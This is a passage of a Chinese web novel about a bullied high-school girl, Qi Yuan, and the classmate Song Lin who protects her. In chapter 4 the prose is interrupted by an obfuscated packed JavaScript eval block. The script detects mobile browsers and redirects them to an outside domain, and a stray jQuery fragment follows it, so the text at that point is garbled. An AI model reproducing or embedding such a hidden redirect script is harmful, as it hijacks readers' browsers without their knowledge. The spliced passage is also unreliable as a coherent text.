她垂着脑袋,喃喃道:“我家里只有外婆,外公在外面打工,一个月回来一次。他们都老了,不想让他们为我担心。” 宋健怔住,好半天没说话,起身扶着脑袋走到一边。他是真的不敢想,一个才十七岁的孩子,还没有成年就经历了这么多事,居然还逼着自己懂事。 他看着她,想到了自己八年前就已经去世的妻子,那时的他们曾有一个幸福的家。 眼看着宋嶙已经上了小学,他们夫妻二人本来是打算再生一个女儿的,幻想着今后儿女双全,人生美满,却被一场突如其来的车祸彻彻底底打乱了计划。飞来横祸带走了宋母年轻的生命,一同死去的还有她那腹中即将出生的胎儿。 那时的宋嶙失去了妈妈,在学校也是被人指指点点,说他妈是被他克死的。 宋健想不到,为什么现在的孩子都这么坏,说话是不需要负责任的,欺负人是成群结队的。 他是宋嶙的爸爸,他有能力保护宋嶙,他长的凶,人高马大的,去学校吓唬两次那帮孩子就不敢张嘴了。 可祁缘怎么办,她说她爸是个大坏蛋,她没有爸爸保护她。 宋健话到嘴边又咽了下去,他不敢揭示她的过往,他不想因为了解情况就让她回忆那些痛苦的往事,这对她来说太残忍了。 这两天应该是没少哭,此刻她的眼皮红肿,眼里布满了红血丝,看人的眼神都是空洞的。 和宋嶙第一次见到她相比完全是两个人。 宋健心疼她,转头对宋嶙说:“你以后稳重一点吧,也别老去泡吧打游戏了,你就把她当成你妹妹,保护好她比你打的那些战绩更有意义。” 宋嶙散漫惯了,宋健以为他会找他讨价还价几句,没想到他立马就答应了。 “爸,你就放心吧,你儿子惩恶扬善的时刻到了。” 祁缘想不起来哪个动画片了,他现在的样子特别像里面那个中二少年。 那个戾气太重,往那一站就感觉拒人千里之外的宋嶙不见了。 宋健笑笑:“这时候可别说大话,你别三天打鱼两天晒网的,让我知道回家扫帚抽你。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15957246|177650||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宋嶙无语:“质疑谁你也不能质疑你儿子吧?” “关键你这人平时就不行。” “……” 祁缘在宋健的催促下吃了两个大包子,然后让宋嶙送她回家。 夜幕降临,黑暗中亮起点点繁星,天空大地在尽头处交界,像一幅改过的油画,从碧绿变成了暗蓝。 这个时候蚊子正多,跟小虫儿混在一起四处乱飞,偏偏回家这条路上两边都是草丛,直接成了蚊子的聚集地。 宋嶙还好,走这一路也没叮几个包。反倒是背上这人,披着衣服还挨咬,腿上更别说了,祁缘特别后悔今天自己穿的是裙子。 他把她往上颠了颠,吓唬她:“再动我可给你扔下去了。” 祁缘真就安静了两秒,然后说:“我其实自己能走。” 当时她只是来回搬石头爬墙没力气了,宋嶙还以为她是摔到筋了,先给她抱到墙上,自己又翻过去在下边接她。 后面他直接蹲下来要背她,祁缘折腾的累的不行,也就没反抗。 宋嶙顿时感觉自己被耍了,笑了笑:“你是不是故意想让我背你呀?” 祁缘脸色羞红:“那我下来。” “都快到家了才想下来,就是故意的。” 宋嶙在一个巷子口把她放下来,这里离她家还有一段距离,他伸手把她身上的外套拿了过来。 “回去吧,我就送你到这了。”估计是怕祁缘多想,他又解释说:“我倒是脸皮厚无所谓,你这小姑娘家家的,碰到邻里邻居该说你闲话了。” 余音在耳内盘旋,祁缘感觉自己内心的血液正不停地翻涌着,还好天色已黑,他看不到她的面色潮红。 她说:“那我回去了,你也快回去吧。” 宋嶙笑:“看见你进去了我再走。” 她的掌心出了汗,然后给了他第一个发自内心的微笑。 “好,今天谢谢你。” 宋嶙愣在原地,眼睛一直盯着她的背影,祁缘在进去前突然回头,冲他挥了挥手。 …… 祁缘刚进家门就碰见冯丽正急匆匆地站在门口穿衣服,两人对视一眼,冯丽提到嗓子眼儿的心这才安分下来,她拍了拍胸脯。 “我刚想去找你,你咋才回来呢?蒋家那孩子都回来半天了,我问她她说你学习跟不上,说你班老师给你补课来着。” 祁缘抿着唇,“嗯”了声。 冯丽又注意到她腿上的纱布,皱眉:“怎么受伤了?” 本来也没有多严重,纱布是宋嶙怕背她碰到伤口特意去买的。 祁缘说:“是我不小心被东西绊倒了,已经不疼了。” “这样啊,那就赶紧进屋洗洗澡吧,都这么晚了洗完就上床睡觉吧。” “好的外婆。” 祁缘拿着睡衣进去,把身上的裙子脱下来,一言不发地看着裙边上窸窸窣窣的脚印。 冯丽眼睛有些花了,家里的灯光是暖色的,晃在上面她看不清。 家里的衣服一直都是外婆洗,祁缘怕她看到,往上倒了点洗衣液,自己把这些印子一点一点搓干净。 她有点困了,没忍住打了个哈欠。 太多了,真的好难洗啊…… 5. 第 5 章 祁缘订的校服要过几天才能发下来,穿裙子确实是有些冷了,她今天换了身卫衣,下面是直筒的牛仔裤。 刚出村子,后背就被人猛推了一把。 她踉跄几步,扶着墙站好。 蒋晗这几天都和张晚媛她们混在一起,也学起她们化起了大浓妆,爱美之心人皆有之,可她连粉底液的色号都选不对,姜黄的脖子上顶着一张刷白的脸,看着怪滑稽的。 她倒是没觉得哪里不对劲,张晚媛那么坏的人根本不会告诉她,都巴不得她出丑,说句不好听的就算是把她当成一只哈巴狗了,压根儿就没把她当朋友。 蒋晗还自我感觉良好,冲她邪笑一声:“昨晚几点回来的呀?” 祁缘皱眉:“门是你们锁的?” 她大方承认:“对啊,正好保安家里有事,我们就告诉他学校没人了,咋啦?” 祁缘气的发抖,人为什么能这么坏? 或许她本来就不是什么好人。 蒋晗看她这样子只觉得好笑,肩膀都跟着颤,眼底突然闪过一丝狠厉,语气里带着挑衅的意味:“地板拖好了没有?要是没拖干净的话,你求求我,我还兴许大发慈悲去张晚媛那里给你求求情。” “不说话?那我去学校等你哦。” 蒋晗扭头走了,把自己的背影留给祁缘,后者紧紧攥着书包带子,满腔愤恨堵在心口。 什么是善?什么是恶? 评断一个人是否善良绝不是单凭他的一面之词,而她们这种把伤害别人当成一种乐趣,总是喜欢把自己的快乐建立在别人的痛苦之上的人,就一定是恶。 她们欺软怕硬,只敢欺负那些比自己弱小的人,用这种方式来逼迫那些人仰视着自己,从而达到目的:满足她们的虚荣心。 宋嶙在校门口等着她。 祁缘知道他不会骗她,却还是在心里偷偷开心了一下。她接触到他的视线,默默走到他身边。 他们之间几乎每次都是他先说话,这次也不例外。他微微俯身,跟她平视:“干嘛一直浸着个脑袋?抬起来,小爷我来给你撑腰了。” 宋嶙冷着脸还好,一笑起来就吊儿郎当的,看上去特别不靠谱,满脸写着不正经。 “哦。” 大概是知道自己有了靠山,祁缘压着半扬起的唇角,往前跑了两步。宋嶙追上她,眉头微蹙:“你个小没良心的。” 还有十五分钟上早自习,走廊闹哄哄的,祁缘每走一步,她的心就往下沉了一分。 果然,张晚媛就在教室门口等着,祁缘一进来,蒋晗眼睛都冒了光。 “怎么才来?我们都等你半天了。” 张晚媛倚在门上,嘴里嗦着棒棒糖,她笑了笑,一脚踢翻脚下的水桶。 第一桌男生正在写作业,见状瞬间抬起脚:“不是,你欺负她怎么还殃及无辜啊?” 张晚媛简直就是戏精附体,顺着他的话往下说:“哎呀,我怎么这么不小心呢?都耽误你们学习了,唉,祁缘你得来帮帮我了,你拖的干净。” 说完,她使了个眼色,蒋晗立马心领神会,把拖布塞进她怀里。 “去吧,打扫的干净点啊。” 祁缘不动,面无表情的把拖布还给她。 “我不想拖。” 张晚媛仿佛听见了什么世界级笑话,捧着肚子哈哈大笑:“你不想拖好使啊?” “凭什么不好使啊?” 宋嶙进来,站在祁缘身后,垂着眼像看狗一样的眼神看着张晚媛。 他语气冷的像是结了冰:“你们这两天就是这么欺负我同桌的?” 张晚媛咽了口唾沫,整个人直不楞登的靠在黑板上,自己明明怕的不行,但又爱要面子。 “好姐妹而已,怎么这你也要管?” “放她妈屁!好姐妹你扯人书,好姐妹你扇人嘴巴,你咋不跟你妈当好姐妹呢?你她妈咋不把你家族谱撕了从你这页开始写呢?” 地上的水桶被宋嶙一脚踢出老远,撞在墙上直接磕碎了。所有人都知道他生气了。 这个时候陈子涛和何浩楠也来了,被这一声巨响吓了一跳,从后门进来就开始打听。 他们倒是想知道是哪个活腻了的敢往宋嶙的枪口上撞。 想当初他还念高一的时候,一个人拎着四个高三的暴打,这个传说好像没人没听过吧? 除了这个新来的。 班里安静的出奇,教室外也围了一堆看热闹的。宋嶙把祁缘拽到自己身后,脱下她的书包,把书拿出来开始一页一页的翻。 “你们这么爱画啊?” 下一秒一把甩到讲桌上,他劲儿太大,直接磕出来一个坑。 “你们她妈自己没书是吗?我跟人家说话都低声下气的,你们倒好啊,我就两天没来你们给我往死里欺负她!” 蒋晗缓了缓,上前一步:“宋嶙,我们只是……” “是啥?就她妈你惹的事不知道吗?自己手抓不住书,你赖我同桌干啥?” “我……” “你啥你啊?都这时候了你还想解释啥啊?昨天我都看见了,又是巴掌印又是脚印的,咋的,显着你俩长手长脚了啊?” 宋嶙一发飙周围就没人敢说话,空气寂静下来后祁缘突然听到了崔荣的声音,她拽了下他的衣摆,低声说:“别说了,老师来啦。” 他帮她出头她是真的很感动,但她不想他因为这件事受到惩罚。 崔荣从人群中挤进来,看着地上的一片狼藉,推了下眼镜:“我的天,祖宗你干嘛呢?” 宋嶙从地上捡起一本书来,递给他,一边翻一边说:“崔哥你看看,她们给我同桌收拾成啥样了?” 崔荣真没想到自己班会发生这种事情,还是发生在祁缘身上。他一脸不解:“你们画人家书干啥?我来的时候虽然听的一知半解,但也差不多听明白了,你们为什么要欺负同学啊?” 蒋晗受不了压力,开始哭哭啼啼,宋嶙看不惯她那出,让崔荣把她俩叫去办公室说。 也是,在班级里这么批评学生不太好,于是崔荣甩甩手让人群散了,然后看向祁缘。 “祁缘,你也来。” 宋嶙一顿:“那我也去。” 崔荣一时没反应过来:“你来干啥?” “我去讨公道啊。” 这小子要是去办公室指不定能说出来点儿啥,崔荣嫌丢人,摆摆手:“那祁缘你一会儿再来吧,趁他上厕所的时候来。” “那我憋着。” 崔荣拿他没辙,先拉着 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语文老师一顿,转瞬又一脸尴尬,挤出一个难看的笑来:“哎呀,不好意思了同学。” 祁缘对她心有芥蒂,没说话,只是摇了摇头。 宋嶙刚要睡着,听见这话突然坐起来,椅子弄的“吱嘎”一声响。 他的不满写在脸上:“你那天怎么不说?” 这句话也不知道是怼给谁听的,两人都没说话,那个同学是单纯觉得他不好惹,老师是确实觉得有点儿对不住她。 祁缘扯了下他的衣服:“你别说了都过去了,你不要因为帮我招他们烦。” 宋嶙“啧”了声,他才不管那事:“谁烦我我给他脑浆打出来。” 祁缘:“……” 她是第一次知道一个人的戾气可以这么重,也是第一次知道一个人可以有这么极端的两幅面孔。 陈子涛说:“阿嶙肯定是对你有意思,他从来没这么护着一个女生。” 可祁缘知道,是他爸爸让他保护她的,他也只是单纯的拿她当妹妹而已。 不知道为什么,这么一想她突然有些难过。 宋嶙察觉到了她的不开心,下课去小卖部给她买了两个棒棒糖。祁缘没带钱,不想要,他就硬塞进她兜里。 “你是我同桌,跟我那么见外干什么?” 祁缘眨巴两下眼睛:“那要是以后不是了怎么办?” 宋嶙的手一顿,这个问题他倒是没想过。 班级的座位都是按成绩排名自己选的,他长这么大也没怎么认真学过习,这个位置也没人选,算是已经被他们三人组给买断了。 反倒是祁缘,长的越看越乖,一看就是那种肯好好学习的学生,他总不能一直把她圈在他身边吧? 祁缘见他一直不开口,眼底闪过一丝落寞,要是将来不是同桌了,他是不是也就不会这么照顾她了? 想着想着,她整个人蔫巴巴的,下一秒他的一句话,又让她的眼里重新亮起光泽。 “那要不……你教教我?” 宋嶙歪着头看她,试探着问。 他这个小同桌还挺讨喜的。 6. 第 6 章 张晚媛和蒋晗因为态度恶劣被停学了,其余那两个跟班口头教育一番这事也就算过去了。崔荣去教务处帮祁缘要了几本新书回来。 他跟她道歉:“是老师的问题,老师没有照顾好你,要是下次再有谁欺负你你可一定要跟老师说。” 祁缘像小鸡啄米似的点头。 她太懂事了,自己独自咽下痛苦,只为了不给别人增添麻烦。 崔荣虽说答应了这件事不会告诉祁缘的外婆,但他真的很后怕,她的内心本来就很脆弱,遇到事情他却没有及时发现,还让她自己承受了这么久,是他失职了。 崔荣还沉浸在自责的世界里,祁缘却一丁点儿怪罪他的意思都没有,拿起桌上的书,回班了。 她休学这一年的时间里几乎是一眼书都没看,初中学的东西都忘的差不多了,高一没来,直接跳到高二,所以哪怕以前的成绩再好,她现在学起来也有些乏力了。 宋嶙比她还困难,下巴垫在桌子上,缓慢地眨了几下眼睛,马上就要睡着了。 这是他这节课第四次打瞌睡了,祁缘戳了戳他的手背,他立马瞪圆了眼睛,跟猫头鹰似的,好像在为自己辩解。 他没睡着,只是在闭目养神而已。 祁缘没辙,想起来书包里有瓶风油精,是她太招蚊子冯丽给她备着的。 她拿出来递给他:“用点这个你就不困了。” 宋嶙坐起来,他没见过这种小玩意儿,绿绿的,看着挺好玩儿。 他在手里摆弄着,注意力被吸引过去,祁缘以为他精神了就没往下说,结果下一秒这人打开瓶盖就往嘴里倒。 她震惊地抢过来:“你干嘛呢?” “不是喝的吗?啧,这啥味儿啊?”宋嶙眉毛斜上去,“这咋还辣还苦啊?” 祁缘老实巴交的:“这是抹的啊。” 宋嶙:“……” 丢死人了。 何浩楠在后边看半天了,一顿捅咕宋嶙:“你俩干啥呢?” 宋嶙扬起半边唇角,来了坏道儿,把风油精又拿了回来,抬手递给何浩楠。 “挺好喝,你尝尝。” 祁缘:“……” 她以为他才不会上当,毕竟这是能经常见到的东西,结果又来个傻子。 何浩楠如获至宝,盯着瓶身傻乐半天:“瞅着好像挺好喝的呢,是苹果味儿的吗?” 宋嶙差点没憋住:“是,挺甜呢,你赶紧喝,要不然陈子涛醒了该跟你抢了。” 陈子涛对此浑然不知,他睡着了,口水马上快把书页淹透了,他带书纯纯是觉得桌子太硬,睡觉不得劲。 何浩楠呲牙,在他面前晃了一圈都没醒。 “这二货,是你睡着了,那就别怪兄弟不仁不义了。” 他扬起头嘬了口,表情立马扭曲起来。 “我靠……” “何浩楠你吃啥呢?” 物理老师正在前面写板书,回头把他逮了个正着,他摇摇头,把风油精拿到背后去。 “我啥也没吃呀。” “还没吃,那嘴巴子上焦绿的是啥呀?” 他下台走到他旁边,把他手里的东西抢了过来,看清楚后气笑了。 “何浩楠啊,老师也不想说你虎,主要是你说你,这风油精都喝,明天是不是该啃桌角吃教室了?” 宋嶙要笑死了,把祁缘整的也有点想笑。 “不是,老师,这是宋嶙给我的,他说的这玩意儿好喝。” 何浩楠气的咬牙切齿,必须把这狗也供出来。 “他给你喝你就喝呀?你咋那么听他话呢?我让你学习你怎么不听?” 下课铃响了,物理老师摘掉小音响,抱着胳膊说:“走,跟我去趟办公室,让你班老师也看看这么聪明的孩子。” “对对,崔哥还得夸你呢。” 宋嶙笑的眼泪都出来了,何浩楠无语死了:“你等我一会儿回来的。” “嗯呢,我等你。” 眼看着他跟着老师走了,宋嶙转头对祁缘说:“来来来,咱俩换个位置,你先坐一会儿外边,替我挡着点儿。” 祁缘听话照做,两人换了个位置,宋嶙坐下,一把把她的凳子拉到跟前。 她还没坐稳,惊呼一声,内心里的小鹿乱撞,撞上他的胸膛。 就像那天他翻墙过来,她扑在他怀里那样。一样的感觉。 “你在旁边他就不敢动手了。” 大约过了五分钟何浩楠就从办公室气冲冲地赶回来了,他一进门就看到宋嶙缩在角落,有些无语。 “你还是不是爷们儿了,把你同桌都给卖了。” “那咋了?” 一看到他那贱兮兮的样子何浩楠心里就窝着火,冲上前去,“祁缘,你快让开,让我收拾他一顿。” 她现在也不知道该何去何从了,她觉得这种事还是他们两个当事人解决比较好。刚要起身,宋嶙一把拽住她,把她固在身前。 “让开什么?她听我的。” 距离太近,祁缘呼吸停了一瞬,像是血液倒灌进脑袋里,她脸烧的不行,耳朵也红的滴血。她浸着脑袋,怕他们看见。 耳边的争斗声她已经听不见了,她只能听到自己心跳逐渐加快的声音。这种感觉令她浑身发麻,像是一汪春水,被风掀起浪花,拍打在她的心尖儿上,一颤一颤的。 说不清,道不明。 好像隐隐约约,却又无处遁形。 他们闹腾了好一会儿才把陈子涛吵醒。他半睁着眼,不太理解:“你们今天怎么这么精神啊?” 何浩楠像是找到了新的受害者,把风油精递到他跟前,兴奋道:“好喝的。” 陈子涛挑了下眉,眼神半天才聚焦,看清后骂他:“你有病啊,喝风油精。” “……” 明明大家傻的好好的,怎么突然就聪明一个? 他们不允许。 宋嶙抓住陈子涛,强迫性地把他的嘴掰开,何浩楠趁机往他嘴里倒。 “挨我,老她妈苦了,你俩要死啊!” “哈哈哈哈哈哈……” 好了,他们心满意足,这下公平了。 祁缘想,这大概就是青春吧。 年少时,几个朋友叽叽喳喳的聚在一起有说有笑,表面上是坑朋友的一把手,背地里却是诚心诚意的希望你好,希望你幸福。 许多年后再回味起当初,大多是在感叹些光阴如梭,岁月静好。没有人会为了一些鸡毛蒜皮的小事过不去,因为大家都在赶路。 青春就这几年,也会是生命里最美好的几年。 …… 宋嶙中午回了趟家,把 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祁缘算了下,从小学三年级开始接触中性笔,到现在……正好九年。 她简直不敢相信自己的耳朵。 “阿嶙,你那点破事儿搁我身上我都不好意思说,你还跟人家显摆呢,笑死我了。” 宋嶙白了陈子涛一眼:“我最起码笔还留着,你一买买一堆,三天两头丢,就为了在书皮上签你那个狗名……” “哎哎哎,别说了,”陈子涛双手合十,“我错了还不成吗……” 祁缘无奈,她不知道他们在比些什么。 “不跟你们说了,我同桌要教我学习了。”宋嶙转过头去,埋头认认真真写名字。 “哈哈哈哈哈,我咋这么想笑呢?” “其实我也想。” 他们嘲笑他不是没有理由的,宋嶙长这么大就没听过课,祁缘说什么他都晃脑袋。 就比如现在,她教他数学公式,说了半天他字母还没认明白。 “sin。” “塞音……” “cos。” “扣塞音……” “不是阿嶙你别读了,好像那个狗第一次说人话,我听你说完我感觉我不会说话了都。” 何浩楠在后边听声,笑的前仰后翻,这是什么憋笑挑战吗? “小时候做那数学题,往什么图形填上自己喜欢的颜色的那个题,你还记得不?” 陈子涛回忆了一下:“记得啊。” “给我的感觉阿嶙像从书包里找水彩笔的。” “哈哈哈哈哈哈快别逗我笑了。” 两人你一言我一语的,惹的祁缘在旁边也捂着嘴偷笑,肩膀跟着一颤一颤的。不得不说,自从认识宋嶙之后她心情真的好了很多。 宋嶙自尊心跟着受挫,拄着下巴低头开始埋怨:“这到底怎么读啊……” 祁缘理解他,眨巴着水灵灵的小鹿眼凑到他跟前,“慢慢来嘛,别气馁,我有耐心。” 宋嶙蓦然怔住。 巴掌大的小脸,柔和的五官,白皙的皮肤,粉粉嫩嫩的脸颊…… 她笑起来甜甜的。 7. 第 7 章 夕阳西下,太阳被云层遮住了一半,暖黄色的光透过窗户洒进教室里,倾盆而下,像铺了一张金色的绸缎。 此时教室里安静的很,有的在睡觉,也有的在写字做题。笔尖划过纸张的声音,有一种岁月静好的感觉。 可北中的学生们却不这么觉得。 今天上午刚开完会,几个领导站台子上说了一堆没用的废话,磨了大概一个小时,最后才说出重点:从明天起正式开始实行晚自习计划。 祁缘问了宋嶙才知道,一但上了晚自习以后都要十点钟才能放学。 陈子涛面如死灰,从开会回来开始就一直抱怨,恨不得给校长他祖宗十八代都骂了一通。 “给老子气的都想退学了。” 何浩楠一边鼓捣魔方一边敷衍他:“别走,跑起来。” 陈子涛也不知道抽了哪股子风,搂上他的肩,依偎道:“楠楠,我走了你不会想我吗?” “挨我去,我现在瞅你咋这么恶心人呢?现在也不是春天你在这发哪辈子情啊?” “你这么说完我想找对象了。” “我倒要看看你能追到哪个瞎了眼的女的,跟了你也算是为民除害了。” “你她妈……” 从祁缘转来那天开始这两人就没怎么说过好话,经常拌几句嘴就扭打在一起,高二了还跟个小学生一样。 反倒是宋嶙,虽然不是每节课都听,但最起码跟着学了一点。 勇敢踏出第一步就很好了。 这时崔荣进来了,手里拿着张表格,在教室里扫视一圈,气的半死。 “我说班里今天怎么这么安静,一个个的都睡什么觉啊?你说你们才多大,怎么一点精气神儿都没有啊?” 说完崔荣敲了敲讲台,被他这么吵了一通,也没有谁能睡的安稳了。 眼看着差不多都坐起来了,崔荣这才清了清嗓子,开始说事:“刚才我们这帮老师又开了个会,今天早点放学,为明天晚自习打基础……” “我去,今天比平时早了两个小时!” “回去我得冲分了要不然以后都没时间了。” “突然觉得咱校长也不是那么损……” “安静一点!”崔荣也是服气了,一个个一天不是睡死了就是吵死了,他努力克制住心中的怒火,继续说: “然后下周一要举办运动会,主打的就是重在参与,你们大家准备一下,每人都报一个,一会儿班长过来帮忙填下表,分好组就放学吧。” 说完崔荣丢下表走了,晚自习是啥好事吗?学生不爱上,老师也不爱上。现在一看见这帮闹腾孩子,他就脑袋疼。 为了早点放学,班长三步并做两步上了讲台,拿着表格开始念。 “实心球的来……” “跳高的……” “跳远的……” 叫了半天还差一个人,去年是蒋晗报名,可现在她停课了。班长扫了一圈,基本每个人都有项目了,最后他把视线落在祁缘身上。 “祁缘,要不你来顶一下?” 祁缘实话实说:“我没参加过。” “没事儿,荣嬷嬷都说了重在参与。” 去年全班就得了一个铜牌,他不也没说什么吗? 祁缘想了想,跳远也算是这些运动里最轻松的一项了。她妥协:“那好吧……” “行。”班长低头划拉两下,继续念。 “八百的……” “一千的……” “三千的……” “三千没有人来吗?” 前面那些都还好,有些不需要体力,有些累那么一会儿也就下来了。就这个三千,从小到大开的运动会,每年念到这里都没有人报。 众所周知,宋嶙打起架来力气大的壮如牛,从这点就能彰显出他不俗的体力。陈子涛凑过来,一脸坏笑:“阿嶙,要不你……” 下一秒宋嶙抬起手:“班长,陈子涛说他要跑。” 班长这人比较果断,低头开始签:“嗯,行。” “不是,我不跑,哎呀,你别记啊!” 陈子涛反应过来一脸错愕,班长不理他,紧着写,看样子比谁都着急。他撂下笔:“我已经记完了,交完表咱们就放学。” “……”陈子涛气的跳脚,“宋嶙你是人了?” “你是人了?还想拖我下水,做梦吧你。”宋嶙翻了个白眼儿,还好他刚才报了个一千的,崔哥也不好说他什么。 陈子涛被摆了一道,现在抓心挠肝的:“你就能坑兄弟,三千我怎么可能跑的下来啊?” “跑不下来就给你断根儿。” “……” 何浩楠接话:“对,我给你拽着他。” “你俩可真是我的好大儿。” 班长去办公室交了表,回来通知可以放学了。一帮人齐刷刷地开始收拾书包,何浩楠一抬眼,看见学校北墙外冒起了一团一团的黑烟。 “瞅啥呢?俩眼珠子转悠转悠的。” “你俩看看,是不是小吃街那家烧烤开了?” 宋嶙也顺着他的视线看了过去:“好像真是,这么一看我感觉我都闻到味儿了。” “是吧,还得是我这眼睛。” 看样子他家应该挺好吃的,一提烧烤他们仨眼睛都放光。 宋嶙迫不及待的跟祁缘分享:“你估计没去过,不知道,那家店特别好吃,你跟我们几个撸串儿去呗。” 祁缘没想到自己也会被邀请,但她还是摇了摇头:“我就不去了。” “放学这么早你回家也没意思,正好一起呗,还能差你一口吃的不成?让宋嶙请客。” 宋嶙接过话匣子:“我请就我请。走啊,阿缘。” “阿缘?可以可以,都叫这么亲密了是吧?” 她面色潮红,只有家里人才这么唤她。 刚想拒绝,结果书包被他抢了去。他拽着她,不给她反抗的机会。 出了校门一路向北,祁缘看见有几份卖菜的小贩正坐在路两边吆喝。菜叶子丢的满地都是,也没人收拾,被过往的路人一踩,菜汁糊在地上,留下了不少印子。 可能是这一份比较便宜,有几个大妈在摊位前讨价还价,周围被堵的水泄不通,宋嶙带着她脱离部队,从小路过去。 离老远就听到吆喝声,她觉得这帮商贩有点过于卖力了,还不如弄个喇叭,最起码能歇一歇嗓子。 直到她从巷子里穿出去,看到一眼望不到尽头的餐车,她才意识到这个小吃街有多大。 炸串、烤生蚝、羊肉串、臭豆腐、章鱼烧、冰粉、芝士榴莲饼…… 太多了,她看不过来了。 宋嶙注意到她移来移去的视 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宋嶙没觉得有什么异常,扬起唇角,笑说:“那下次还给你买这种的。” 在他的观念里,不管做什么,只要她能开心,那这件事做的就有意义。 到店门口,陈子涛站台阶上掐个腰:“不是你俩去哪了?我俩一回头人就没了。” 宋嶙耸了耸肩:“刚出国一趟。” “……”何浩楠气笑了,他嘴里说不出来正常人说的话。 推开店门,老板出来迎客,上了四副餐碟。陈子涛不顾外界的眼光,冲过去抱住老板宽厚的臂膀。 “怎么才开门?想你家挺长时间了。” “哈哈哈,老家有点事回去处理一下,现在不是回来招待你了吗?” 他也不绕弯子了,直奔主题:“那你给我们打点折。” 老板笑笑:“行,那就十折吧。” “可以可以。” 宋嶙两眼一抹黑,好像一进门就看了一出马戏。他让祁缘去坐里面的位子,把菜单给她,让她先点。 祁缘摇摇头:“我有点喝饱了。” 何浩楠觉得她可能是不好意思,在一旁劝说道:“跟我们出来你还客气啥呀?长那么瘦,想吃什么就多吃点儿。” 她没装,宋嶙给她买的奶茶是大杯的,一会儿一口一会儿一口她是真的有点喝饱了。眼看推脱不成,她点了几个菜单上比较便宜的小串。 陈子涛笑:“你是在给阿嶙省钱吗?” “……” 菜单重新轮回到他们手上,几个人一起商量着要了些肉串,宋嶙怕她吃不饱,又给她要了一碗冷面。 祁缘觉得今天肚皮要撑开花了。 老板过来收菜单,宋嶙也不知道祁缘能不能吃辣,索性告诉老板肉串烤几串不放辣椒的。老板瞄了一眼祁缘,笑着问他:“这是谈女朋友了呗。” 宋嶙听完顿了下,轻笑一声。 “这是我妹。” 恍惚间,她轻轻垂下头。原来他真的只是拿她当妹妹看啊…… 可是……她好像开始动心了。 算了,她可以把这个秘密咽进肚子里。 只要她不表现出来,不说出口,他就永远不会知道。 8. 第 8 章 近些天气温骤降,树叶在枝头微颤,刮起阵阵秋风,落叶在天空中盘旋。而后又落到地上,盖住了小路原有的样子。 冯丽早上起来就开始打扫院子,她扫一点儿天上就落下来一点儿,折腾了半天还在原地踏步。 祁缘拿了个蛇皮袋也跟着出来收拾,两个人干最起码快一些。一个负责扫,一个负责捡,不一会儿袋子就满了。 冯丽老了,祁缘拖着蛇皮袋进屋。她背影瘦瘦小小的,看上去比同龄人都要矮一些,冯丽有些愣神,上前去帮她拽着袋子尾端。 “外婆,我自己能行。” 她不让她拿,怕她年龄大了,闪到腰。 她们家已经好些天没烧柴火了,最近用的都是落叶,还怪好烧的。 冯丽笑着帮她拍了拍身上的灰尘,让她进屋换校服,一会儿该上学了。 昨天校服刚拿回来冯丽就帮她洗了,正晾在衣架上,她取下来,在鼻子前闻了闻。 一股薰衣草味,香香的。 今天运动会,祁缘体质偏寒,最近天气冷,冯丽又盯着她在校服外面套了个外套。 在家磨蹭的时间有点长,她到学校的时候学生们已经开始往外搬凳子了。 祁缘在人群中看见了自己班的同学,她瞬间有点儿着急了。一路小跑过去,教学楼总共就两个出口,都被他们这帮拿凳子的给堵死了。 只能等他们走光了她才能进去了。 她走到一边,刚要蹲下,手臂被人一把拉住,她不自觉的抬起头来。 宋嶙笑着看她:“阿缘,你在这待着干嘛呢?” 她还是有点不习惯他这么叫她,脸颊微红:“我来晚了,还没取凳子。” “我都给你拿过去了,要不是我回教室拿东西碰到你了,你是不是要在这儿等到他们走完?” “嗯。”他还挺了解她的。 宋嶙四处看了看,又说:“你先去咱班级位置坐着吧,我一会儿过去找你。” 他给她指了个方向,然后自己从门边儿挤进去了。 祁缘原本想等他一会儿,可她也不知道他什么时候出来,索性自己先去了。她顺着顺序找到了高二四班班牌,走过去,一抬眼就看到了蒋晗和张晚媛坐在那里。 她们也在看她,脸上扬起一抹坏笑,样子看上去毫无悔改之意,令她毛骨悚然。前些天被欺负的片段一股脑儿的涌了上来,在她脑海中闪过。 光是想起那些种种,祁缘就冒着冷汗,打着哆嗦。 她们怎么回来了?停课时间一个月,还没到期限的啊。 蒋晗看到她还是这副懦弱的样子,挑衅地抬起下巴,一点都不记得自己当初被人骂的哭哭啼啼的样子了。 “祁缘,过来啊!阿嶙给你留的位置在这儿呢!” 何浩楠招呼她,把她从思绪中拉了回来。她避开她们的视线,走到他们身边。 “你别在意她们,就会吓唬人欺负弱小能耐,现在有阿嶙在你身边,她们不敢对你下手的。” “对,还有我俩,我俩也能帮你,没事的。” 祁缘咬着唇,缓和一些后,跟他们说了句谢谢。 不一会儿宋嶙也回来了,手上拎着个塞的满满的塑料袋,兜里揣着个方方正正的东西,看样子大概是手机。 他喘着气坐下,一边笑一边观察,说:“我刚才碰见崔哥了,就在我旁边,我当时正用手拿着呢,给我吓死了。” 陈子涛一脸不可置信:“你还怕荣嬷嬷啊?手机大户。” “别扯犊子了。” 他俩让他帮忙带两瓶水,宋嶙路过超市就正好带回来了,陈子涛一翻袋子,无语道:“我不是让你给我买瓶五块钱的甜水吗?” “这百岁山不是给你买回来了吗?” “我说甜水!” “正好我还买俩棒棒糖。” “……”陈子涛犟不过,棒棒糖也能吃,大不了扔水里喝呗。他抬手,刚要拿就被宋嶙躲到一边去了。 “?” 宋嶙半带轻笑:“美死你了,这俩是给阿缘的。” “你真有病。” 祁缘的位子就在宋嶙的正前方,他一伸手就能够到。他戳了戳她的肩膀,她扭过头,两只棒棒糖赫然出现在眼前。 “运动会不让吃零食,但棒棒糖可以。” 祁缘还在被她们回来的消息困扰着,她没胃口,摇了摇头。 宋嶙二话不说,直接塞她兜里。 这一幕正好被张晚媛看到了,她拧着眉毛,一脸不屑:“他俩关系什么时候这么好了?” “不知道。” 蒋晗面无表情,在别人看不见的地方,暗自捏起了拳头。 